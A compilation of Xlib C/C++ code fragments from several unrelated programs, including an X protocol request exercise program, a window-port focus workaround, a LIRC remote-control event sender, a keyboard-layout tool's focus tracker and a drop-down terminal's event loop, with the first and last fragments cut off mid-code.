CWWidth | CWHeight | CWBorderWidth | CWSibling | CWStackMode, &wc); // CirculateWindow XCirculateSubwindows(dpy, w, RaiseLowest); // GetGeometry Window root; int x, y; unsigned width, height, border_width, depth; XGetGeometry(dpy, w, &root, &x, &y, &width, &height, &border_width, &depth); // QueryTree Window parent; Window *children; unsigned nchildren; success = XQueryTree(dpy, w, &root, &parent, &children, &nchildren); XFree(children); // InternAtom Atom a = XInternAtom(dpy, "WM_PROTOCOLS", True); // GetAtomName char *string = XGetAtomName(dpy, XA_PRIMARY); XFree(string); // ChangeProperty XStoreName(dpy, w, "test window"); // DeleteProperty XDeleteProperty(dpy, w, XA_WM_NAME); // GetProperty // TODO // ListProperties int num_prop; Atom *list = XListProperties(dpy, w, &num_prop); XFree(list); // SetSelectionOwner XSetSelectionOwner(dpy, XA_PRIMARY, w, 12000); XSetSelectionOwner(dpy, XA_SECONDARY, w, CurrentTime); // GetSelectionOwner Window wx = XGetSelectionOwner(dpy, XA_PRIMARY); // ConvertSelection XConvertSelection(dpy, XA_SECONDARY, XA_CURSOR, XA_POINT, w, CurrentTime); // SendEvent // GrabPointer std::cerr << "Grabbing" << std::endl; int res = XGrabPointer(dpy, w, False, Button5MotionMask | PointerMotionHintMask, GrabModeSync, GrabModeAsync, w, None, CurrentTime); XSync(dpy, False); // sleep(5); // UngrabPointer std::cerr << "Ungrabbing" << std::endl; XUngrabPointer(dpy, CurrentTime); // GrabButton XGrabButton(dpy, 3, ShiftMask | ControlMask, w, False, PointerMotionHintMask | Button2MotionMask, GrabModeAsync, GrabModeSync, None, None); XGrabButton(dpy, 2, AnyModifier, w, False, PointerMotionHintMask | Button2MotionMask, GrabModeAsync, GrabModeSync, None, None); // UngrabButton XUngrabButton(dpy, 2, LockMask, w); // ChangeActivePointerGrab XChangeActivePointerGrab(dpy, ButtonPressMask, None, CurrentTime); // GrabKeyboard XGrabKeyboard(dpy, w, True, GrabModeSync, GrabModeSync, 12000); // UngrabKeyboard XUngrabKeyboard(dpy, 13000); // GrabKey XGrabKey(dpy, XKeysymToKeycode(dpy, XK_Tab), ShiftMask | Mod3Mask, w, True, GrabModeSync, GrabModeSync); // UngrabKey XUngrabKey(dpy, AnyKey, AnyModifier, w); // AllowEvents XAllowEvents(dpy, AsyncPointer, 14000); // GrabServer XGrabServer(dpy); // UngrabServer XUngrabServer(dpy); // QueryPointer Window child; int root_x, root_y, win_x, win_y; unsigned mask; Bool bres = XQueryPointer(dpy, w, &root, &child, &root_x, &root_y, &win_x, &win_y, &mask); // GetMotionEvents int nevents; XGetMotionEvents(dpy, w, 15000, 16000, &nevents); // TranslateCoordinates int dest_x, dest_y; XTranslateCoordinates(dpy, w, w2, 10, 20, &dest_x, &dest_y, &child); // WarpPointer XWarpPointer(dpy, w, w2, 0, 0, 100, 100, 20, 30); // SetInputFocus XSetInputFocus(dpy,w, RevertToPointerRoot, 17000); XSetInputFocus(dpy, PointerRoot, RevertToPointerRoot, 17000); // GetInputFocus Window focus; int revert_to; XGetInputFocus(dpy, &focus, &revert_to); // QueryKeymap char keys_return[32]; XQueryKeymap(dpy, keys_return); // OpenFont Font fid = XLoadFont(dpy, "cursor"); // CloseFont XUnloadFont(dpy, fid); // QueryFont XFontStruct *fs = XLoadQueryFont(dpy, "cursor"); assert(fs); // QueryTextExtents int direction, font_ascent, font_descent; XCharStruct overall; XQueryTextExtents(dpy, fs -> fid, "toto", 4, &direction, &font_ascent, &font_descent, &overall); XQueryTextExtents(dpy, fs -> fid, "odd__length", 11, &direction, &font_ascent, &font_descent, &overall); XChar2b c2bs; c2bs.byte1 = '$'; c2bs.byte2 = 'B'; XQueryTextExtents16(dpy, fs -> fid, &c2bs, 1, &direction, &font_ascent, &font_descent, &overall); XQueryTextExtents(dpy, fs -> fid, longString, strlen(longString), &direction, &font_ascent, &font_descent, &overall); // ListFonts int actual_count; char **fontList = XListFonts(dpy, "*", 100, &actual_count); XFree((char *)fontList); // ListFontsWithInfo int count; XFontStruct *info; char **names = XListFontsWithInfo(dpy, "*", 100, &count, &info); XFreeFontInfo(names, info, count); // SetFontPath // GetFontPath int npaths; char **charList = XGetFontPath(dpy, &npaths); char **charList2 = new char *[npaths + 1]; memcpy(charList2, charList, npaths * sizeof(char *)); charList2[npaths] = charList2[0]; XSetFontPath(dpy, charList2, npaths + 1); XSetFontPath(dpy, charList, npaths); // Reset to some reasonnable value XFreeFontPath(charList); delete [] charList2; // CreatePixmap Pixmap pix2 = XCreatePixmap(dpy, w, 100, 200, DefaultDepthOfScreen(scr)); // FreePixmap XFreePixmap(dpy, pix2); // CreateGC Pixmap bitmap = XCreateBitmapFromData(dpy, RootWindowOfScreen(scr), "\000\000\001\000\000\001\000\000\001\377\377\377", 3, 4); XGCValues gcv; gcv.function = GXand; gcv.plane_mask = 0x1; gcv.foreground = WhitePixelOfScreen(scr); gcv.background = BlackPixelOfScreen(scr); gcv.line_width = 2; gcv.line_style = LineDoubleDash; gcv.cap_style = CapProjecting; gcv.join_style = JoinRound; gcv.fill_style = FillStippled; gcv.fill_rule = EvenOddRule; gcv.arc_mode = ArcPieSlice; gcv.tile = pixmap; gcv.stipple = bitmap; gcv.ts_x_origin = 3; gcv.ts_y_origin = 4; gcv.font = fs -> fid; gcv.subwindow_mode = ClipByChildren; gcv.graphics_exposures = True; gcv.clip_x_origin = 5; gcv.clip_y_origin = 6; gcv.clip_mask = bitmap; gcv.dash_offset = 1; gcv.dashes = 0xc2; GC gc = XCreateGC(dpy, w, GCFunction | GCPlaneMask | GCForeground | GCBackground | GCLineWidth | GCLineStyle | GCCapStyle | GCJoinStyle | GCFillStyle | GCFillRule | GCTile | GCStipple | GCTileStipXOrigin | GCTileStipYOrigin | GCFont | GCSubwindowMode | GCGraphicsExposures | GCClipXOrigin | GCClipYOrigin | GCClipMask | GCDashOffset | GCDashList | GCArcMode, &gcv); // ChangeGC gcv.function = GXandReverse; // Only a few of these should appear, since the values are cached on the client side by the Xlib. XChangeGC(dpy, gc, GCFunction | GCLineStyle | GCStipple | GCGraphicsExposures | GCDashList, &gcv); // CopyGC GC gc2 = XCreateGC(dpy, w, 0, NIL); XCopyGC(dpy, gc, GCFunction | GCLineStyle | GCStipple | GCGraphicsExposures | GCDashList, gc2); // SetDashes XSetDashes(dpy, gc, 3, "\001\377\001", 3); // SetClipRectangles XRectangle rectangles[] = { { 10, 20, 30, 40 }, { 100, 200, 5, 3 }, { -5, 1, 12, 24 } }; XSetClipRectangles(dpy, gc, 12, 9, rectangles, SIZEOF(rectangles), Unsorted); // FreeGC // done already // ClearArea XClearArea(dpy, w, 30, 10, 10, 100, False); // CopyArea XCopyArea(dpy, w, pixmap, gc, 0, 0, 100, 100, 10, 10); // CopyPlane // This won't work if the Screen doesn't have at least 3 planes XCopyPlane(dpy, pixmap, w, gc, 20, 10, 40, 30, 0, 0, 0x4); // PolyPoint XDrawPoint(dpy, w, gc, 1, 2); XPoint points[] = { { 3, 4 }, { 5, 6 } }; XDrawPoints(dpy, w, gc, points, SIZEOF(points), CoordModeOrigin); // PolyLine XDrawLines(dpy, w, gc, points, SIZEOF(points), CoordModePrevious); // PolySegment XSegment segments[] = { { 7, 8, 9, 10 }, { 11, 12, 13, 14 }, { 15, 16, 17, 18 } }; XDrawSegments(dpy, w, gc, segments, SIZEOF(segments)); // PolyRectangle XDrawRectangles(dpy, w, gc, rectangles, SIZEOF(rectangles)); // PolyArc XArc arcs[] = { { 10, 20, 30, 40, 50, 60 }, { -70, 80, 90, 100, 110, 120 }, { 10, 20, 30, 40, 50, -30 } }; XDrawArcs(dpy, w, gc, arcs, SIZEOF(arcs)); // FillPoly XFillPolygon(dpy, w, gc, points, SIZEOF(points), Convex, CoordModePrevious); // PolyFillRectangle XFillRectangles(dpy, w, gc, rectangles, SIZEOF(rectangles)); // PolyFillArc XFillArcs(dpy, w, gc, arcs, SIZEOF(arcs)); // PutImage // GetImage XImage *image = XGetImage(dpy, w, 10, 20, 40, 30, AllPlanes, ZPixmap); XPutImage(dpy, w, gc, image, 0, 0, 50, 60, 40, 30); XSync(dpy, False); // Make the next request starts at the beginning of a packet // PolyText8 XTextItem textItems[3]; textItems[0].chars = "toto"; textItems[0].nchars = strlen(textItems[0].chars); textItems[0].delta = -3; textItems[0].font = fs->fid; textItems[1].chars = "titi"; textItems[1].nchars = strlen(textItems[1].chars); textItems[1].delta = 3; textItems[1].font = None; textItems[2].chars = "tutu"; textItems[2].nchars = strlen(textItems[2].chars); textItems[2].delta = 0; textItems[2].font = fs->fid; XDrawText(dpy, w, gc, 10, 10, textItems, 3); XTextItem textItems2[3]; textItems2[0].chars = "totox"; textItems2[0].nchars = strlen(textItems2[0].chars); textItems2[0].delta = -3; textItems2[0].font = fs->fid; textItems2[1].chars = "titi"; textItems2[1].nchars = strlen(textItems2[1].chars); textItems2[1].delta = 3; textItems2[1].font = None; textItems2[2].chars = "tutu"; textItems2[2].nchars = strlen(textItems2[2].chars); textItems2[2].delta = 0; textItems2[2].font = fs->fid; XDrawText(dpy, w, gc, 10, 10, textItems2, 3); // PolyText16 XChar2b c2b2[] = { 0, 't', 0, 'x' }; XTextItem16 items16[] = { { &c2bs, 1, -5, None }, { NULL, 0, 0, None }, { c2b2, 2, 0, fs -> fid } }; XDrawText16(dpy, w, gc, 10, 0, items16, SIZEOF(items16)); // ImageText8 XDrawImageString(dpy, w, gc, 10, 10, "toto", 4); // ImageText16 XDrawImageString16(dpy, w, gc, 10, 10, &c2bs, 1); XDrawImageString16(dpy, w, gc, 10, 20, c2b2, 2); // CreateColormap // Don't forget to tell the kids how it was when we had only 8 bits per pixel. Colormap colormap = XCreateColormap(dpy, w, DefaultVisualOfScreen(scr), None); // FreeColormap XFreeColormap(dpy, colormap); colormap = XCreateColormap(dpy, w, DefaultVisualOfScreen(scr), None); // CopyColormapAndFree Colormap colormap2 = XCopyColormapAndFree(dpy, colormap); // InstallColormap XInstallColormap(dpy, colormap2); // UninstallColormap XUninstallColormap(dpy, colormap2); // ListInstalledColormaps int num; Colormap *colormapList = XListInstalledColormaps(dpy, w, &num); // AllocColor XColor screen; screen.red = 0; screen.green = 32767; screen.blue = 65535; screen.flags = DoRed | DoGreen | DoBlue; success = XAllocColor(dpy, colormap, &screen); // AllocNamedColor XColor screen2, exact; success = XAllocNamedColor(dpy, colormap, "Wheat", &screen2, &exact); // AllocColorCells unsigned long plane_masks, pixels; success = XAllocColorCells(dpy, colormap, False, &plane_masks, 1, &pixels, 1); // AllocColorPlanes unsigned long rmask, gmask, bmask; success = XAllocColorPlanes(dpy, colormap, False, &pixels, 1, 0, 0, 0, &rmask, &gmask, &bmask); // FreeColors unsigned long pixels2[2] = { screen.pixel, screen2.pixel }; XFreeColors(dpy, colormap, pixels2, 2, 0); // StoreColors success = XAllocColorCells(dpy, colormap, False, NIL, 0, pixels2, 2); // On many contemporary (that is, year 2000) video cards, you can't allocate read / write cells // I want my requests to be sent, however. if (!success) { XSetErrorHandler(errorHandler); } XColor colors[2]; colors[0] = screen; colors[0].pixel = pixels2[0]; colors[1] = screen2; colors[1].pixel = pixels2[1]; XStoreColors(dpy, colormap, colors, 2); // StoreNamedColor XStoreNamedColor(dpy, colormap, "Wheat", colors[0].pixel, DoBlue); XSync(dpy, False); XSetErrorHandler(NIL); // Restore the default handler // QueryColors screen2.pixel = WhitePixelOfScreen(scr); XQueryColor(dpy, colormap, &screen2); // LookupColor success = XLookupColor(dpy, colormap, "DarkCyan", &exact, &screen); // CreateCursor Cursor cursor = XCreatePixmapCursor(dpy, pixmap, None, &exact, colors, 10, 10); // CreateGlyphCursor Cursor cursor2 = XCreateGlyphCursor(dpy, fs -> fid, fs -> fid, 'X', 0, &exact, colors); // FreeCursor XFreeCursor(dpy, cursor2); // RecolorCursor XRecolorCursor(dpy, cursor, colors, &exact); // QueryBestSize success = XQueryBestSize(dpy, CursorShape, RootWindowOfScreen(scr), 100, 20, &width, &height); // QueryExtension int major_opcode, first_event, first_error; XQueryExtension(dpy, "toto", &major_opcode, &first_event, &first_error); // ListExtensions int nextensions; char **extensionList = XListExtensions(dpy, &nextensions); for(char **p = extensionList; nextensions; nextensions--, p++) std::cout << *p << std::endl; XFree(extensionList); // ChangeKeyboardMapping // GetKeyboardMapping int min_keycodes, max_keycodes; XDisplayKeycodes(dpy, &min_keycodes, &max_keycodes); int keysyms_per_keycode; KeySym *keysyms = XGetKeyboardMapping(dpy, min_keycodes, max_keycodes - min_keycodes + 1, &keysyms_per_keycode); XChangeKeyboardMapping(dpy, min_keycodes, keysyms_per_keycode, keysyms, max_keycodes - min_keycodes + 1); // ChangeKeyboardControl // GetKeyboardControl XKeyboardState keyboardState; XGetKeyboardControl(dpy, &keyboardState); XKeyboardControl keyboardValues; keyboardValues.key_click_percent = keyboardState.key_click_percent; keyboardValues.bell_percent = keyboardState.bell_percent; keyboardValues.bell_pitch = keyboardState.bell_pitch; keyboardValues.bell_duration = keyboardState.bell_duration; keyboardValues.led = 1; keyboardValues.led_mode = LedModeOn; keyboardValues.key = min_keycodes; keyboardValues.auto_repeat_mode = AutoRepeatModeDefault; XChangeKeyboardControl(dpy, KBKeyClickPercent | KBBellPercent | KBBellPitch | KBBellDuration | KBLed | KBLedMode | KBKey | KBAutoRepeatMode, &keyboardValues); // Bell XBell(dpy, 90); // ChangePointerControl // GetPointerControl int accel_numerator, accel_denominator, threshold; XGetPointerControl(dpy, &accel_numerator, &accel_denominator, &threshold); XChangePointerControl(dpy, True, True, accel_numerator, accel_denominator, threshold); // SetScreenSaver // GetScreenSaver int timeout, interval, prefer_blanking, allow_exposures; XGetScreenSaver(dpy, &timeout, &interval, &prefer_blanking, &allow_exposures); XSetScreenSaver(dpy, timeout, interval, prefer_blanking, allow_exposures); // ChangeHosts // ListHosts int nhosts; Bool state; XHostAddress *hostList = XListHosts(dpy, &nhosts, &state); XHostAddress host; host.family = FamilyInternet; host.length = 4; host.address = "\001\002\003\004"; XAddHost(dpy, &host); // SetAccessControl XSetAccessControl(dpy, EnableAccess); // SetCloseDownMode XSetCloseDownMode(dpy, RetainTemporary); // KillClient XKillClient(dpy, AllTemporary); // RotateProperties Atom properties[] = { XInternAtom(dpy, "CUT_BUFFER0", False), XInternAtom(dpy, "CUT_BUFFER1", False), XInternAtom(dpy, "CUT_BUFFER2", False) }; XRotateWindowProperties(dpy, RootWindowOfScreen(scr), properties, SIZEOF(properties), -1); // ForceScreenSaver XForceScreenSaver(dpy, ScreenSaverReset); // SetPointerMapping // GetPointerMapping unsigned char map[64]; int map_length = XGetPointerMapping(dpy, map, 64); XSetPointerMapping(dpy, map, map_length); // SetModifierMapping // GetModifierMapping XModifierKeymap *modmap = XGetModifierMapping(dpy); XSetModifierMapping(dpy, modmap); // NoOperation XNoOp(dpy); for(;;) { XEvent e; XNextEvent(dpy, &e); std::cout << "Got an event of type " << e.type << std::endl; } }
bool emX11WindowPort::Cycle() { XWindowAttributes attr; XSizeHints xsh; emString str; emCursor cur; ::Window win; ::Cursor xcur; emX11WindowPort * wp; double vrx,vry,vrw,vrh,fx,fy,fw,fh; int i,x,y,w,h; Status xs; if ( FullscreenUpdateTimer && IsSignaled(FullscreenUpdateTimer->GetSignal()) ) { Screen.GetVisibleRect(&vrx,&vry,&vrw,&vrh); if ( fabs(PaneX-vrx)>0.51 || fabs(PaneY-vry)>0.51 || fabs(PaneW-vrw)>0.51 || fabs(PaneH-vrh)>0.51 ) { PosForced=true; PosPending=true; SizeForced=true; SizePending=true; SetViewGeometry(vrx,vry,vrw,vrh,Screen.PixelTallness); } // Workaround for lots of focus problems with several window managers: if (Screen.GrabbingWinPort==this) { XMutex.Lock(); XGetInputFocus(Disp,&win,&i); XMutex.Unlock(); wp=NULL; for (i=Screen.WinPorts.GetCount()-1; i>=0; i--) { if (Screen.WinPorts[i]->Win==win) { wp=Screen.WinPorts[i]; break; } } if (wp==this) { if (!Focused) { Focused=true; SetViewFocused(true); emWarning("emX11WindowPort: Focus workaround 1 applied."); } } else { while (wp) { if (wp==this) break; wp=wp->Owner; } if (!wp) { XMutex.Lock(); xs=XGetWindowAttributes(Disp,Win,&attr); XMutex.Unlock(); if (xs && attr.map_state==IsViewable) { XMutex.Lock(); XSetInputFocus(Disp,Win,RevertToNone,CurrentTime); XMutex.Unlock(); emWarning("emX11WindowPort: Focus workaround 2 applied."); } } } } } if ( !PostConstructed && !PosForced && Owner && (GetWindowFlags()&emWindow::WF_FULLSCREEN)==0 ) { Screen.GetVisibleRect(&vrx,&vry,&vrw,&vrh); fx=Owner->GetViewX()-Owner->BorderL; fy=Owner->GetViewY()-Owner->BorderT; fw=Owner->GetViewWidth()+Owner->BorderL+Owner->BorderR; fh=Owner->GetViewHeight()+Owner->BorderT+Owner->BorderB; fx+=fw*0.5; fy+=fh*0.5; fw=GetViewWidth()+BorderL+BorderR; fh=GetViewHeight()+BorderT+BorderB; fx-=fw*0.5+emGetDblRandom(-0.03,0.03)*vrw; fy-=fh*0.5+emGetDblRandom(-0.03,0.03)*vrh; if (fx>vrx+vrw-fw) fx=vrx+vrw-fw; if (fy>vry+vrh-fh) fy=vry+vrh-fh; if (fx<vrx) fx=vrx; if (fy<vry) fy=vry; SetViewGeometry( fx+BorderL,fy+BorderT, GetViewWidth(),GetViewHeight(), Screen.PixelTallness ); PosPending=true; PosForced=true; } if (PosPending || SizePending) { x=((int)GetViewX())-BorderL; y=((int)GetViewY())-BorderT; w=(int)GetViewWidth(); h=(int)GetViewHeight(); memset(&xsh,0,sizeof(xsh)); xsh.flags =PMinSize; xsh.min_width =MinPaneW; xsh.min_height=MinPaneH; if (PosForced) { xsh.flags|=PPosition|USPosition; xsh.x=x; xsh.y=y; } if (SizeForced) { xsh.flags|=PSize|USSize; xsh.width=w; xsh.height=h; } XMutex.Lock(); XSetWMNormalHints(Disp,Win,&xsh); if (PosPending && SizePending) { XMoveResizeWindow(Disp,Win,x,y,w,h); } else if (PosPending) { XMoveWindow(Disp,Win,x,y); } else { XResizeWindow(Disp,Win,w,h); } XMutex.Unlock(); PosPending=false; SizePending=false; } if (TitlePending) { str=GetWindowTitle(); if (Title!=str) { Title=str; XMutex.Lock(); XmbSetWMProperties(Disp,Win,Title.Get(),NULL,NULL,0,NULL,NULL,NULL); XMutex.Unlock(); } TitlePending=false; } if (IconPending) { SetIconProperty(GetWindowIcon()); IconPending=false; } if (CursorPending) { cur=GetViewCursor(); if (Cursor!=cur) { Cursor=cur; xcur=Screen.GetXCursor(cur); XMutex.Lock(); XDefineCursor(Disp,Win,xcur); XMutex.Unlock(); } CursorPending=false; } if (!PostConstructed) { PostConstruct(); PostConstructed=true; } if (!InvalidRects.IsEmpty() && Mapped) { UpdatePainting(); if (!LaunchFeedbackSent) { LaunchFeedbackSent=true; SendLaunchFeedback(); } } return false; }
static Window find_window(Window top, char* name) { char* wname; char* iname; XClassHint xch; Window* children; Window foo; int revert_to_return; unsigned int nc; if (!strcmp(active_window_name, name)) { XGetInputFocus(dpy, &foo, &revert_to_return); return foo; } else if (!strcmp(root_window_name, name)) { return root; } /* First the base case */ if (XFetchName(dpy, top, &wname)) { if (!strncmp(wname, name, strlen(name))) { XFree(wname); log_debug("found it by wname 0x%x\n", top); return top; /* found it! */ } ; XFree(wname); } ; if (XGetIconName(dpy, top, &iname)) { if (!strncmp(iname, name, strlen(name))) { XFree(iname); log_debug("found it by iname 0x%x\n", top); return top; /* found it! */ } ; XFree(iname); } ; if (XGetClassHint(dpy, top, &xch)) { if (!strcmp(xch.res_class, name)) { XFree(xch.res_name); XFree(xch.res_class); log_debug("res_class '%s' res_name '%s' 0x%x\n", xch.res_class, xch.res_name, top); return top; /* found it! */ } ; if (!strcmp(xch.res_name, name)) { XFree(xch.res_name); XFree(xch.res_class); log_debug("res_class '%s' res_name '%s' 0x%x\n", xch.res_class, xch.res_name, top); return top; /* found it! */ } ; XFree(xch.res_name); XFree(xch.res_class); } ; if (!XQueryTree(dpy, top, &foo, &foo, &children, &nc) || children == NULL) return 0; /* no more windows here */ ; /* check all the sub windows */ for (; nc > 0; nc--) { top = find_window(children[nc - 1], name); if (top) break; /* we found it somewhere */ } ; if (children != NULL) XFree(children); return top; }
static int get_focus(struct _focus *p, int *forced_mode, int *focus_status, int *autocompletion_mode) { *forced_mode = FORCE_MODE_NORMAL; *focus_status = FOCUS_NONE; *autocompletion_mode = AUTOCOMPLETION_INCLUDED; char *new_app_name = NULL; // Clear masking on unfocused window p->update_grab_events(p, LISTEN_DONTGRAB_INPUT); p->update_events(p, LISTEN_DONTGRAB_INPUT); Window new_window; int show_message = TRUE; while (TRUE) { // Wait for new window was focused. usleep(500000); // This code commented be cause function XGrabKey for _NET_ACTIVE_WINDOW // dont process modifier keys (see utils.h) /*if (main_window->_NET_SUPPORTED) { Atom type; int size; long nitems; Atom request = XInternAtom(main_window->display, "_NET_ACTIVE_WINDOW", False); Window root = XDefaultRootWindow(main_window->display); unsigned char *data = get_win_prop(root, request, &nitems, &type, &size); if (nitems > 0) new_window = *((Window*)data); else new_window = None; free(data); } else {*/ int revert_to; XGetInputFocus(main_window->display, &new_window, &revert_to); //} // Catch not empty and not system window if (new_window != None && new_window > 1000) { new_app_name = get_wm_class_name(new_window); if (new_app_name != NULL) break; } if (show_message) { log_message(DEBUG, _("New window empty")); show_message = FALSE; } usleep(100000); } //char *new_app_name = get_wm_class_name(new_window); //if (new_app_name != NULL) //{ if (xconfig->excluded_apps->exist(xconfig->excluded_apps, new_app_name, BY_PLAIN)) *focus_status = FOCUS_EXCLUDED; if (xconfig->auto_apps->exist(xconfig->auto_apps, new_app_name, BY_PLAIN)) *forced_mode = FORCE_MODE_AUTO; else if (xconfig->manual_apps->exist(xconfig->manual_apps, new_app_name, BY_PLAIN)) *forced_mode = FORCE_MODE_MANUAL; if (xconfig->autocompletion_excluded_apps->exist(xconfig->autocompletion_excluded_apps, new_app_name, BY_PLAIN)) *autocompletion_mode = AUTOCOMPLETION_EXCLUDED; //} //else // *focus_status = FOCUS_EXCLUDED; Window old_window = p->owner_window; if (new_window == old_window) { if (new_app_name != NULL) free(new_app_name); if (xconfig->troubleshoot_full_screen) { Window root_return; int x_return, y_return, root_x_return, root_y_return; unsigned int width_return, height_return, root_width_return, root_height_return; unsigned int border_width_return; unsigned int depth_return; XGetGeometry(main_window->display, p->parent_window, &root_return, &x_return, &y_return, &width_return, &height_return, &border_width_return, &depth_return); XGetGeometry(main_window->display, root_return, &root_return, &root_x_return, &root_y_return, &root_width_return, &root_height_return, &border_width_return, &depth_return); if ((x_return == 0) && (y_return == 0) && (width_return == root_width_return) && (height_return == root_height_return)) *forced_mode = FORCE_MODE_MANUAL; } return FOCUS_UNCHANGED; } log_message(DEBUG, _("Focused window %d"), new_window); // Up to heighted window p->parent_window = new_window; while (TRUE) { unsigned int children_count; Window root_window, parent_window; Window *children_return = NULL; int is_same_screen = XQueryTree(main_window->display, p->parent_window, &root_window, &parent_window, &children_return, &children_count); if (children_return != NULL) XFree(children_return); if (!is_same_screen || parent_window == None || parent_window == root_window) break; p->parent_window = parent_window; } // Replace unfocused window to focused window p->owner_window = new_window; if (xconfig->troubleshoot_full_screen) { Window root_return; int x_return, y_return, root_x_return, root_y_return; unsigned int width_return, height_return, root_width_return, root_height_return; unsigned int border_width_return; unsigned int depth_return; XGetGeometry(main_window->display, p->parent_window, &root_return, &x_return, &y_return, &width_return, &height_return, &border_width_return, &depth_return); XGetGeometry(main_window->display, root_return, &root_return, &root_x_return, &root_y_return, &root_width_return, &root_height_return, &border_width_return, &depth_return); if ((x_return == 0) && (y_return == 0) && (width_return == root_width_return) && (height_return == root_height_return)) *forced_mode = FORCE_MODE_MANUAL; } log_message(DEBUG, _("Process new window (ID %d) with name '%s' (status %s, mode %s)"), new_window, new_app_name, _(verbose_focus_status[*focus_status]), _(verbose_forced_mode[*forced_mode])); if (new_app_name != NULL) free(new_app_name); return FOCUS_CHANGED; }
int main(int argc, char* argv[]) { char keyname[128]; int pointer_button, pointer_x, pointer_y; char windowname[64]; struct lirc_config* config; char* config_file = NULL; int c; unsigned int WindowID; while ((c = getopt_long(argc, argv, "dhV", long_options, NULL)) != EOF) { switch (c) { case 'd': bDaemon = 1; continue; case 'h': printf("Usage: %s [option]... [config file]\n" " -d --daemon fork and run in background\n" " -h --help display usage summary\n" " -V --version display version\n", prog); return EXIT_SUCCESS; case 'V': printf("%s %s\n", prog, VERSION); return EXIT_SUCCESS; case '?': fprintf(stderr, "unrecognized option: -%c\n", optopt); fprintf(stderr, "Try `%s --help' for more information.\n", prog); return EXIT_FAILURE; } } if (argc == optind + 1) { config_file = argv[optind]; } else if (argc > optind + 1) { fprintf(stderr, "%s: incorrect number of arguments.\n", prog); fprintf(stderr, "Try `%s --help' for more information.\n", prog); return EXIT_FAILURE; } dpy = XOpenDisplay(NULL); if (dpy == NULL) { fprintf(stderr, "Can't open DISPLAY.\n"); exit(1); } root = RootWindow(dpy, DefaultScreen(dpy)); // windows may get closed at wrong time. Override default error handler... XSetErrorHandler(errorHandler); if (lirc_init("irxevent", 1) == -1) exit(EXIT_FAILURE); if (lirc_readconfig(config_file, &config, check) == 0) { char* ir; char* c; int ret; if (bDaemon) { if (daemon(1, 0) < 0) { perror("Failed to run as daemon"); exit(EXIT_FAILURE); } } while (lirc_nextcode(&ir) == 0) { if (ir == NULL) continue; while ((ret = lirc_code2char(config, ir, &c)) == 0 && c != NULL) { log_debug("Received code: %s Sending:\n", ir); bInError = 0; // reset error state, want to see error msg *windowname = 0; if (2 == sscanf(c, "Key %s Focus WindowID %i", keyname, &WindowID) || 4 == sscanf(c, "Button %d %d %d Focus WindowID %i", &pointer_button, &pointer_x, &pointer_y, &WindowID) || 4 == sscanf(c, "xy_Key %d %d %s Focus WindowID %i", &pointer_x, &pointer_y, keyname, &WindowID) || 2 == sscanf(c, "Key %s Focus %s", keyname, windowname) || 4 == sscanf(c, "Button %d %d %d Focus %s", &pointer_button, &pointer_x, &pointer_y, windowname) || 4 == sscanf(c, "xy_Key %d %d %s Focus %s", &pointer_x, &pointer_y, keyname, windowname)) { log_debug("Focus\n"); /* focussed ? */ if (*windowname) { WindowID = find_window_focused(root, windowname); if (!WindowID) { log_debug("target window '%s' doesn't have focus\n", windowname); continue; } log_debug("focused: %s\n", windowname); } else { Window cur; int tmp; XGetInputFocus(dpy, &cur, &tmp); if (WindowID != cur) { log_debug("target window '0x%x' doesn't have focus\n", WindowID); continue; } log_debug("focused: 0x%x\n", WindowID); } } else if (2 == sscanf(c, "Key %s WindowID %i", keyname, &WindowID) || 4 == sscanf(c, "Button %d %d %d WindowID %i", &pointer_button, &pointer_x, &pointer_y, &WindowID) || 4 == sscanf(c, "xy_Key %d %d %s WindowID %i", &pointer_x, &pointer_y, keyname, &WindowID)) { log_debug("WindowID: 0x%x\n", WindowID); /* WindowID passed */ } else if (2 == sscanf(c, "Key %s %s", keyname, windowname) || 4 == sscanf(c, "Button %d %d %d %s", &pointer_button, &pointer_x, &pointer_y, windowname) || 4 == sscanf(c, "xy_Key %d %d %s %s\n", &pointer_x, &pointer_y, keyname, windowname)) { log_debug("name: %s\n", windowname); WindowID = find_window(root, windowname); if (WindowID == 0) { log_debug("target window '%s' not found\n", windowname); continue; } } switch (c[0]) { case 'K': // Key log_debug("keyname: %s \t WindowID: 0x%x\n", keyname, WindowID); log_debug("%s\n", c); sendkey(keyname, 1, 1, (Window)WindowID, 0); break; case 'B': // Button case 'x': // xy_Key subw = find_sub_window(root, windowname, &pointer_x, &pointer_y); if (subw) { if (WindowID == subw) subw = 0; log_debug("%s\n", c); switch (c[0]) { case 'B': /* FIXME: pointer_button potentially uninititalzed. */ sendbutton(pointer_button, pointer_x, pointer_y, WindowID, subw); break; case 'x': sendkey(keyname, pointer_x, pointer_y, WindowID, subw); break; } } break; } } free(ir); if (ret == -1) break; } lirc_freeconfig(config); } lirc_deinit(); exit(0); }
int main(int argc, char *argv[]) { KeySym key; XEvent event; int hidden = 1; int fullscreen = 0; int i, tmp; int old_height = 0; Window tmpwin, last_focused, current_focused; XWindowAttributes wa; /* strip the path from argv[0] if there is one */ progname = strrchr(argv[0], '/'); if (!progname) progname = argv[0]; else progname++; for (i = 1; i < argc; i++) { if (!strcmp(argv[i], "-h")) { printf("%s:\n" "-e: program to execute\n" "you can configure me via xresources:\n" "%s*foo:value\n" "foo can be any standard xterm/urxvt/st xresource or:\n" "resource default value\n\n" "term: xterm\n" "restart: 0\n" "xOffset: 0\n" "yOffset: 0\n" "xrandrSupport: 0\n" "screenWidth: Display width\n" "consoleHeight: 10\n" "aniDelay: 40\n" "stepSize; 1\n" "toggleKey: ControlAlt+y\n" "keySmaller: Control+KP_Subtract\n" "keyBigger: Control+KP_Add\n" "keyFull: Alt+F11\n", progname, progname); exit(0); } } if (!(dpy = XOpenDisplay(NULL))) { fprintf(stderr, " can not open dpy %s", XDisplayName(NULL)); } screen = DefaultScreen(dpy); root = RootWindow(dpy, screen); XSetErrorHandler(handle_xerror); cursor = XCreateFontCursor(dpy, XC_double_arrow); get_defaults(); init_win(); init_command(argc, argv); init_xterm(1); while (1) { XNextEvent(dpy, &event); switch (event.type) { case FocusOut: /* Always keep input focus when visible */ if (!hidden) XSetInputFocus(dpy, termwin, RevertToPointerRoot, CurrentTime); break; case EnterNotify: XSetInputFocus(dpy, termwin, RevertToPointerRoot, CurrentTime); XSync(dpy, False); break; case LeaveNotify: if (last_focused && event.xcrossing.detail != NotifyInferior) { XSetInputFocus(dpy, last_focused, RevertToPointerRoot, CurrentTime); XSync(dpy, False); } break; case KeyPress: key = XKeycodeToKeysym(dpy, event.xkey.keycode, 0); if (key == opt_key) { if (!hidden) { XGetInputFocus(dpy, ¤t_focused, &revert_to); 